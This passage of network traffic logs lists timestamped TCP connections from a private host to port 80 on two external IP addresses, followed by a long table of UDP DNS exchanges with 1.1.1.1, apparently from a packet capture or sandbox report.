Sep 7, 2024 15:32:53.266691923 CEST	80	52581	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:53.267925024 CEST	52581	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.875076056 CEST	52582	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.880038977 CEST	80	52582	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:58.880129099 CEST	52582	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.880217075 CEST	52582	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.885696888 CEST	80	52582	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:58.885816097 CEST	52582	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.969441891 CEST	52583	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.975403070 CEST	80	52583	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:58.975481033 CEST	52583	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.975568056 CEST	52583	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:58.982040882 CEST	80	52583	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:58.982110023 CEST	52583	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:59.700973034 CEST	52584	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:59.705806971 CEST	80	52584	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:59.705902100 CEST	52584	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:59.705970049 CEST	52584	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:59.711062908 CEST	80	52584	88.198.29.97	192.168.2.7
Sep 7, 2024 15:32:59.711149931 CEST	52584	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:32:59.792756081 CEST	52585	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:59.797982931 CEST	80	52585	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:59.798048019 CEST	52585	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:59.798177004 CEST	52585	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:32:59.803241968 CEST	80	52585	64.70.19.203	192.168.2.7
Sep 7, 2024 15:32:59.803314924 CEST	52585	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:00.458576918 CEST	52586	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:00.468849897 CEST	80	52586	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:00.469105959 CEST	52586	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:00.469183922 CEST	52586	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:00.477868080 CEST	80	52586	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:00.477951050 CEST	52586	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:00.657413960 CEST	52587	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:00.665007114 CEST	80	52587	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:00.665072918 CEST	52587	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:00.665158033 CEST	52587	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:00.671426058 CEST	80	52587	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:00.671530962 CEST	52587	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:01.488569021 CEST	52588	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:01.493419886 CEST	80	52588	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:01.493596077 CEST	52588	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:01.493669987 CEST	52588	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:01.498912096 CEST	80	52588	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:01.498975992 CEST	52588	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:01.589087009 CEST	52589	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:01.593986034 CEST	80	52589	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:01.594070911 CEST	52589	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:01.599720001 CEST	52589	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:01.605285883 CEST	80	52589	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:01.605375051 CEST	52589	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:02.233910084 CEST	52590	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:02.239018917 CEST	80	52590	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:02.239129066 CEST	52590	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:02.239209890 CEST	52590	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:02.244700909 CEST	80	52590	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:02.244775057 CEST	52590	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:03.840224981 CEST	52591	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:03.845207930 CEST	80	52591	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:03.845312119 CEST	52591	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:03.845479012 CEST	52591	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:03.850775957 CEST	80	52591	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:03.850847960 CEST	52591	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:05.340580940 CEST	51866	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:05.347129107 CEST	80	51866	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:05.347201109 CEST	51866	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:05.349549055 CEST	51866	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:05.354511023 CEST	80	51866	88.198.29.97	192.168.2.7
Sep 7, 2024 15:33:05.354566097 CEST	51866	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:33:08.575253010 CEST	51867	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:08.580322027 CEST	80	51867	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:08.580391884 CEST	51867	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:08.580454111 CEST	51867	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:08.586538076 CEST	80	51867	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:08.586601973 CEST	51867	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:09.765889883 CEST	51868	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:09.772304058 CEST	80	51868	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:09.772406101 CEST	51868	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:09.792156935 CEST	51868	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:33:09.798687935 CEST	80	51868	64.70.19.203	192.168.2.7
Sep 7, 2024 15:33:09.798744917 CEST	51868	80	192.168.2.7	64.70.19.203

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 15:29:07.839317083 CEST	62454	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:08.089274883 CEST	53	62454	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:08.569065094 CEST	61053	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:09.241600037 CEST	53	61053	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:09.348592043 CEST	62365	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:09.361577034 CEST	53	62365	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:09.392638922 CEST	62662	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:09.619118929 CEST	53	62662	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:10.118740082 CEST	50483	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:10.340398073 CEST	53	50483	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:10.942832947 CEST	55568	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:11.045697927 CEST	53	55568	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:11.048913956 CEST	53536	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:11.056020021 CEST	53	53536	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:11.161865950 CEST	58600	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:11.258651972 CEST	53	58600	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:11.262645006 CEST	51901	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.091767073 CEST	53	51901	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.214071035 CEST	49371	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.451600075 CEST	53	49371	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.454099894 CEST	51346	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.557111025 CEST	53	51346	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.661231041 CEST	50056	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.671379089 CEST	53	50056	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.673824072 CEST	57421	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.683072090 CEST	53	57421	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.786045074 CEST	54646	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.795470953 CEST	53	54646	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.797812939 CEST	50875	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.807297945 CEST	53	50875	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.911195040 CEST	65044	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.920350075 CEST	53	65044	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:12.922616959 CEST	55599	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:12.931889057 CEST	53	55599	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.036149979 CEST	53788	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.131918907 CEST	53	53788	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.134032965 CEST	51658	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.230762959 CEST	53	51658	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.333198071 CEST	59817	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.436331987 CEST	53	59817	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.438699007 CEST	53333	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.677966118 CEST	53	53333	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.786056995 CEST	53984	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.890558958 CEST	53	53984	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:13.892705917 CEST	62211	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:13.988878965 CEST	53	62211	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:14.098618031 CEST	65421	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:14.196594954 CEST	53	65421	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:14.198863029 CEST	60216	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:14.428306103 CEST	53	60216	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:14.536209106 CEST	60609	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:14.771842957 CEST	53	60609	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:14.777906895 CEST	64830	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.019364119 CEST	53	64830	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.129950047 CEST	51138	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.417020082 CEST	53	51138	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.419487953 CEST	53463	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.454682112 CEST	53	53463	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.567497015 CEST	50236	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.854863882 CEST	53	50236	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.857279062 CEST	58984	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.864564896 CEST	53	58984	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.973782063 CEST	50368	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.984945059 CEST	53	50368	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:15.987112045 CEST	53571	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:15.998562098 CEST	53	53571	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:16.114510059 CEST	50753	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:16.127434015 CEST	53	50753	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:17.395550013 CEST	54611	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:17.682370901 CEST	53	54611	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:17.685492992 CEST	54896	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:17.738137007 CEST	53	54896	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:17.848627090 CEST	52162	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.088177919 CEST	53	52162	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.090353012 CEST	56044	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.188282967 CEST	53	56044	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.302011013 CEST	53190	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.337093115 CEST	53	53190	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.339405060 CEST	64532	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.386375904 CEST	53	64532	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.489362955 CEST	49527	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.788770914 CEST	53	49527	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.791950941 CEST	51896	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.834373951 CEST	53	51896	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.942610025 CEST	50314	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.951956987 CEST	53	50314	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:18.954129934 CEST	64148	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:18.963372946 CEST	53	64148	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:19.067614079 CEST	61794	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:19.088675022 CEST	53	61794	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:19.091165066 CEST	51633	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:19.100225925 CEST	53	51633	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:19.208069086 CEST	55626	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:19.217152119 CEST	53	55626	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:19.219146013 CEST	64334	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:19.226382971 CEST	53	64334	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:19.332968950 CEST	64861	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:19.351723909 CEST	53	64861	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:20.458323956 CEST	63012	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:20.467427969 CEST	53	63012	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:20.469861031 CEST	62843	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:20.479329109 CEST	53	62843	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:20.583396912 CEST	51081	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:20.625284910 CEST	53	51081	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:20.627635956 CEST	61040	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:20.865602970 CEST	53	61040	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:20.973850965 CEST	59881	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:20.989406109 CEST	53	59881	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.145456076 CEST	49822	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.242260933 CEST	53	49822	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.244709015 CEST	61883	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.341075897 CEST	53	61883	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.458172083 CEST	59965	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.467371941 CEST	53	59965	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.469378948 CEST	53352	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.478595018 CEST	53	53352	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.583019972 CEST	59011	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.617800951 CEST	53	59011	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.626480103 CEST	54786	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.658294916 CEST	53	54786	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.771742105 CEST	62649	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.807385921 CEST	53	62649	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.810471058 CEST	57174	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.845616102 CEST	53	57174	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.972995996 CEST	58169	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.982336044 CEST	53	58169	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:22.985733986 CEST	62782	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:22.994966030 CEST	53	62782	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:23.098826885 CEST	61409	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:23.107831955 CEST	53	61409	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:23.110131025 CEST	50286	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:23.118422031 CEST	53	50286	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:23.223876953 CEST	64439	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:23.321170092 CEST	53	64439	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:23.328310013 CEST	51639	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:23.662533045 CEST	53	51639	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:23.803385973 CEST	64013	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:23.814131975 CEST	53	64013	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:24.958199024 CEST	61095	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:24.967876911 CEST	53	61095	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:24.970031023 CEST	53258	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:24.978910923 CEST	53	53258	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.083031893 CEST	52412	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.185024023 CEST	53	52412	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.187031984 CEST	55300	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.283730984 CEST	53	55300	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.395469904 CEST	55378	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.405169010 CEST	53	55378	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.407346010 CEST	57572	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.417612076 CEST	53	57572	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.520708084 CEST	53231	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.550136089 CEST	53	53231	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.552431107 CEST	61846	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.561741114 CEST	53	61846	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.676873922 CEST	62205	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.719330072 CEST	53	62205	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.721539974 CEST	55269	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.756385088 CEST	53	55269	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:25.864268064 CEST	49476	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:25.880506039 CEST	53	49476	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:27.036446095 CEST	60157	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:27.139425039 CEST	53	60157	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:27.141840935 CEST	60700	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:27.376759052 CEST	53	60700	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:27.489495039 CEST	49996	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:27.498570919 CEST	53	49996	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:28.614257097 CEST	64196	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:28.649317980 CEST	53	64196	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:28.651384115 CEST	62105	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:28.686814070 CEST	53	62105	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:28.802628040 CEST	59710	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:28.815378904 CEST	53	59710	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:30.849800110 CEST	55895	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:30.945404053 CEST	53	55895	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:30.952095985 CEST	65440	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.056222916 CEST	53	65440	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.161375999 CEST	60976	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.170547009 CEST	53	60976	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.172915936 CEST	53242	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.187326908 CEST	53	53242	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.301836014 CEST	62520	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.312004089 CEST	53	62520	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.313990116 CEST	55768	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.322675943 CEST	53	55768	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.426995993 CEST	49818	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.589010954 CEST	53	49818	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.594789028 CEST	49748	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.757081985 CEST	53	49748	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.865098000 CEST	61252	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.967796087 CEST	53	61252	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:31.969966888 CEST	50557	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:31.979639053 CEST	53	50557	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:32.084363937 CEST	55331	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:32.246190071 CEST	53	55331	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:32.248259068 CEST	57296	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:32.411052942 CEST	53	57296	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:32.520791054 CEST	51878	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:32.533701897 CEST	53	51878	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:34.520565987 CEST	51252	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:34.529589891 CEST	53	51252	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:34.531702042 CEST	54942	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:34.540817022 CEST	53	54942	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:34.656112909 CEST	61894	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:34.761935949 CEST	53	61894	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:34.764121056 CEST	52891	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:34.866568089 CEST	53	52891	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:34.973870993 CEST	59001	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:35.210115910 CEST	53	59001	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:35.213478088 CEST	50640	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:35.449650049 CEST	53	50640	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:35.551975012 CEST	61995	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:36.079891920 CEST	53	61995	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:36.082195997 CEST	56544	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:36.285527945 CEST	53	56544	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:36.395637989 CEST	60580	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:36.404923916 CEST	53	60580	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:37.567608118 CEST	50726	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:37.583053112 CEST	53	50726	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:38.723874092 CEST	49268	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:38.965362072 CEST	53	49268	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:38.976767063 CEST	53682	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:38.984390974 CEST	53	53682	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:39.098813057 CEST	57965	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:39.107830048 CEST	53	57965	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:39.110286951 CEST	59458	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:39.119280100 CEST	53	59458	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:39.223772049 CEST	56879	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:39.232739925 CEST	53	56879	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:39.235044956 CEST	56409	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:39.244616032 CEST	53	56409	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:39.349041939 CEST	51448	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:39.362273932 CEST	53	51448	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:40.489641905 CEST	64356	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:40.762167931 CEST	53	64356	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:40.764348030 CEST	55634	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:41.038968086 CEST	53	55634	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:41.175013065 CEST	50843	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:41.189342976 CEST	53	50843	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:42.302000999 CEST	64587	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:42.483450890 CEST	53	64587	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:42.490535021 CEST	54656	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:42.499476910 CEST	53	54656	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:42.614449024 CEST	54046	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:42.624357939 CEST	53	54046	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:43.989382982 CEST	49516	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:44.007253885 CEST	53	49516	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.145539999 CEST	65395	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.158009052 CEST	53	65395	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.164530039 CEST	64571	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.173535109 CEST	53	64571	1.1.1.1	192.168.2.7
Sep 7, 2024 15:29:45.286236048 CEST	58213	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:29:45.390500069 CEST	53	58213	1.1.1.1	192.168.2.7
